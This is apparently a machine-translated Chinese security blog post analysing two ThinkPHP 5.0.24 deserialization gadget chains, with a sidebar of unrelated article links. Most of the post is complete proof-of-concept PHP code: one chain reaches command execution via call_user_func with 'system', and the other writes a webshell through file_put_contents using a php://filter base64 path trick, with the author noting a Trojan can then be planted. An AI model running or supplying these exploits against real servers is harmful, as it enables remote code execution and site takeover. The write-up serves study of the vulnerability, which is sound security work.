当前位置:网站首页>Thinkphp5.0.24 deserialization chain analysis
Thinkphp5.0.24 deserialization chain analysis
2022-07-25 01:31:00 【XiLitter】
Preface
I learned a few days ago tp5.1 Deserialization chain , So let's sum up today tp5.0.24 The construction of the chain . On the whole , I think tp5.0 Your chain is better than tp5.1 The chain of is more complicated , I also found two different chains on the Internet , One is to write files getshell, One is to directly call the function to execute rce, Take a look. .
The environment is very simple , Directly in github Download the source code and unzip it to www Under the table of contents , Similarly, write a deserialization entry in the controller .
Deserialization chain analysis
Start analyzing the chain directly , Here are two chains , First, let's talk about implementation rce This chain of .
Deserialization chain execution rce
In fact, the beginning of the chain is tp5.1 The same as , All by calling windows Class __destruct Method , Then call removefile Instantiate arbitrary class calls through attributes toString() Magic methods , This call Model Class tostring,

however Model Class cannot be instantiated directly , Then instantiate the one that inherits it Pivot class . Then this piece poc by
<?php
namespace think;
abstract class Model{
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>Enter into Model Class tostring Method , Continue to follow up tojosn, Follow up toArray Method , Old ways , Don't need to say more . The same is to see toArray Method .

Our goal is to pass $value->getAttr($attr) To call call Magic methods . Then we have to judge value Is it controllable , You can find value The value of is finally affected by append The effect of array key names , Then let's make a positive analysis .

relation The value of is directly determined by name control ,parseName Function only does format conversion , and name Namely aappend Key name . Keep looking down ,

relation The value of is executed as a function , And the return value is assigned to modelRelation Parameters , We hope that the value of this parameter is controllable , Then we need to call the function with controllable return value , Here we let relation The assignment is getError,

Back to error Can be controlled , So now modelRelation It's also controllable , Keep going down , Is entered as a parameter getRelationData In the function , Then continue to follow up this function .

here modelRelation Just as Relation Class object , We need to get value For me, for us , Then we need to enter the first if in , See if you can meet the conditions , To follow up isselfRelation Method ,

controllable , Then the last judgment ,getmodel Whether the function is controllable , Continue to follow up .

Here, you need to instantiate the class to continue calling this function with controllable return value , Instantiate here Query Class getmodel function ,

In this way, it is controllable , So go into if In the branch ,value The value of is directly determined by parent Attribute control , Can be controlled . Go back and see toArray function , We also need to enter these two if In the sentence .

Find through a magnifying glass OneToOne There are getBindAttr Definition of function , Then you can make modelRelation To instantiate this class ,

however OneToOne It is inherited from Relation Class , Cannot instantiate directly , here HasOne Inherited OneToOne class , Then we can instantiate this class .getBindAttr The return value of the function is controllable , So the second one if The conditions are also met . So you can call call The method . This one poc by
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}This successfully calls call Method .

Here we call block Method , To follow up block Method .

Continue to follow up writeln Method .

Like a doll , Continue to follow up write Method .

Here, call any class write Method . Here we call think\session\dirver Inside Mecache Class write Method .

Here you can call any class set Method , Here we call think\cache\Mecache Class set Method , Pay attention to the duplicate name , But not in a namespace .

Follow up here has function ,

getCacheKey Function has only one splicing , Then call any class get Method . So we can call Request Class set Method .

Finally, call classic input Method , there this->get and filter It's all within our control . Get into input Method , The final call filterValue Method ,

call call_user_func Function to execute commands . there value Namely this->get, Construct the final poc.
<?php
namespace think;
use think\Model\Relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append = ['getError'];
$this->error = new HasOne();
$this->parent = new Output();
}
}
namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr = [];
public function __construct()
{
$this->selfRelation = false;
$this->query = new Query();
$this->bindAttr = ["aaa"=>"222"];
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
public function __construct()
{
$this->model = new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;
use think\cache\Driver;
class Memcached { // Personally, I think it is necessary to prevent duplicate names
protected $handler;
protected $config = [ //config Be sure to write it in full , Otherwise, I won't get through
'session_name' => '', // memcache key Prefix
'username' => '', // account number
'password' => '', // password
'host' => '127.0.0.1', // memcache host
'port' => 11211, // memcache port
'expire' => 3600, // session The period of validity
];
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "haha";
protected $handler;
protected $options = ['prefix'=>'haha/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["haha"=>'dir'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files = [new Pivot()];
}
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>Some details were not explained in detail , Because many parts of this version are related to tp5.1.37 equally . Then call locally payload

Test success , This chain is analyzed here .
Deserialize chain write file getshell
Call ahead tostring function , call call Functions and everything follow a chain . I'm not going to go over it here .

from think\session\dirver Inside Mecache Class start , call file Class set Method

At the bottom is file_put_contents Function can be used to write files . Then we need to see whether these two parameters are controllable . First look at filename, To follow up getCacheKey function .

You can find that the suffix is locked , however name We are still controllable , therefore filename Partially controllable . if data Also controllable , Then you can write shell 了 . Through the function call chain, we can find data By value control , And then by sessData control , Finally, I traced back to Output Class writeln Method .

Here for true, It's dead . What if you can't write something getshell? We can continue to call setTagItem function .

Here we call again set Method , Then take a look key Is it controllable . Obviously , It is from $this->tag control , controllable . that value Well ? from name control , Look carefully at the incoming name, Isn't it under our control filename Well , So we can call file_put_contents It's time to write the document . Be careful

When splicing strings, we need to bypass exit(); Otherwise, it will be forced to quit . So how to bypass it ?
We can use php Fake protocol to bypass .

If file_put_contentes() The first parameter is zero php://filter/write=string.rot13/resource=555.php Words ,php The contents of the document will be rot13 code , And then write 555.php file . that exit() The function will be rot13 Write the code into the file , Successfully bypassed . Thus, bypass . But using this method payload Can't be in Windows Upper use . But in Windows In the environment, we can use such payload,
$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.phpwindows I don't quite understand the principle of writing documents , You can refer to this article :Thinkphp5.0 The deserialization chain is in Windows How to write down files - The prophet community (aliyun.com)
Final poc by
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files=[];
function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
abstract class Model{
protected $append = [];
protected $error;
public $parent;
public function __construct(){
$this->append=["getError"];
$this->error=new HasOne();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
class HasOne extends OneToOne{
function __construct(){
parent::__construct();
}
}
namespace think\model;
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation=false;
$this->query= new Query();
}
}
namespace think\console;
use think\session\driver\Memcache;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->styles=['getAttr'];
$this->handle=new Memcache();
}
}
namespace think\db;
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model= new Output();
}
}
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr=["aaa","123"];
}
}
namespace think\session\driver;
use think\cache\driver\File;
class Memcache{
protected $handler = null;
function __construct(){
$this->handler=new File();
}
}
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
protected $options=[];
function __construct(){
parent::__construct();
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../ab.php',
'data_compress' => false,//base64 String is <?php phpinfo();\?\>
];
}
}
namespace think\cache;
abstract class Driver{
protected $tag;
function __construct(){
$this->tag=true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//
?>take payload Hit in ,

You can see that the file has been written successfully . Then access this file ,

Can successfully execute the command . Then you can write a Trojan horse .
Conclusion
The second chain is more complicated than the first , involves windows The limitation of file names . Still need to understand the principle .
Related links :
Thinkphp5.0.24 Deserialization rce Chain learning _bfengj The blog of -CSDN Blog _thinkphp5.0.24
Thinkphp5.0.24 Deserialization analysis and poc - FreeBuf Network security industry portal
边栏推荐
- The two supply chain centers of HEMA launched the "background" of innovative research and development of multi format commodities
- Some of my understanding about anti shake and throttling
- The cloud ecology conference comes with the "peak"!
- Service address dynamic awareness of Nacos registry
- Screenshot of Baidu map
- 7.14 - daily question - 408
- [programmer interview classic] 01.09 string rotation
- JS convert pseudo array to array
- The IPO of Tuba rabbit was terminated: the annual profit fell by 33%, and Jingwei Sequoia was the shareholder
- WhatsApp web for usability testing of software testing technology
猜你喜欢

Human cell prosci 4-1BB ligand recombinant protein scheme

The introduction of 23 Filipino doctors for 18million was a hot topic, and the school teacher responded: expedient

Game partner topic: the cooperation between breederdao and monkeyleague kicked off

Cloud native platform, let edge applications play out!

BisinessCardGen

Turn: emotional internal friction is the biggest source of inefficiency in your life

How to implement the server anti blackmail virus system is a problem we have to consider

Open source demo | release of open source example of arcall applet

Amd epyc 9654 Genoa CPU cache test exposure L1 bandwidth up to 30tb/s

Opengauss kernel analysis: query rewriting
随机推荐
Pursue and kill "wallet Assassin" all over the network
Wireshark introduction and packet capturing principle and process
ES6 modularization
Harbor installation
[C + + primer notes] Chapter 8 IO Library
MySQL Basics (concepts, common instructions)
Pads copper laying
Redis learning notes (2) - power node of station B
Agreement on sharing agricultural scientific data in China
Listing of China graphite: the market value is nearly HK $1.2 billion, achieving a zero breakthrough in the listing of Hegang private enterprises
Free personal virtual machine - AWS free EC2 package
Record the bugs encountered and some work experience
Musk responded whether he would upload his brain to the cloud: already did it!
1260. Two dimensional grid migration: simple construction simulation problem
Batchinsert avoid inserting duplicate data ignor
Open source demo | release of open source example of arcall applet
Performance analysis method - Notes on top of performance
A string "0" was actually the culprit of the collapse of station b
Top priority of dry goods: common indicators and terms in data analysis!
EasyX realizes button effect